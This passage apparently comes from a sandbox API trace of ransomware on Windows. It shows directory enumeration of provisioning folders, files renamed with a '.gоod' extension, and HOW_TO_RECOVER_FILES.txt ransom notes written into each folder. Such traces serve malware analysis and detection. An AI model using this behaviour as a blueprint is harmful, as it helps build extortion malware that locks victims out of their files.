ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0141.840] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d57076f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.840] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d57076f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0141.840] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0141.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0141.840] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0141.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0141.840] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0141.841] GetFileType (hFile=0x618) returned 0x1 [0141.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0141.841] GetFileType (hFile=0x618) returned 0x1 [0141.841] WriteFile (in: hFile=0x618, lpBuffer=0x3aa6460*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9378, lpOverlapped=0x0 | out: lpBuffer=0x3aa6460*, lpNumberOfBytesWritten=0x10f9378*=0x5d0, lpOverlapped=0x0) returned 1 [0141.842] CloseHandle (hObject=0x618) returned 1 [0141.842] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0141.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0141.842] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0141.843] GetFileType (hFile=0x618) returned 0x1 [0141.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0141.843] GetFileType (hFile=0x618) returned 0x1 [0141.843] WriteFile (in: hFile=0x618, lpBuffer=0x3aa9d68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x3aa9d68*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0141.844] CloseHandle (hObject=0x618) returned 1 [0141.844] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x69 [0141.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0141.844] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0141.845] GetFileType (hFile=0x618) returned 0x1 [0141.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0141.845] GetFileType (hFile=0x618) returned 0x1 [0141.845] WriteFile (in: hFile=0x618, lpBuffer=0x3aad660*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3aad660*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0141.846] CloseHandle (hObject=0x618) returned 1 [0141.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0141.846] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", lpFilePart=0x0) returned 0x50 [0141.846] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3e8f5d7a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.846] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3e8f5d7a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.846] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3e2d9d46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.gоod", cAlternateFileName="")) returned 1 [0141.846] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fccad5b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.846] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3e8f5d7a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.gоod", cAlternateFileName="")) returned 1 [0141.846] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0141.846] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0141.846] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0141.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0141.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0141.847] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", lpFilePart=0x0) returned 0x50 [0141.847] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.847] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.847] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3e2d9d46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.gоod", cAlternateFileName="")) returned 1 [0141.847] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fccad5b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.847] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3e8f5d7a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.gоod", cAlternateFileName="")) returned 1 [0141.847] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0141.847] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.847] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0141.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0141.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0141.911] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", lpFilePart=0x0) returned 0x55 [0141.912] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.912] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.912] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fccad5b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.912] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0141.912] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 1 [0141.912] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.913] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0141.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0141.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0141.913] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", lpFilePart=0x0) returned 0x55 [0141.913] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.913] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.913] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fccad5b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.913] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0141.913] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 1 [0141.914] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 0 [0141.914] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0141.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0141.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0141.914] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0141.915] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.915] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.915] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e6fcbc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e6fcbc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Controls.provxml", cAlternateFileName="")) returned 1 [0141.915] FindNextFileW (in: hFindFile=0x1ec52440, 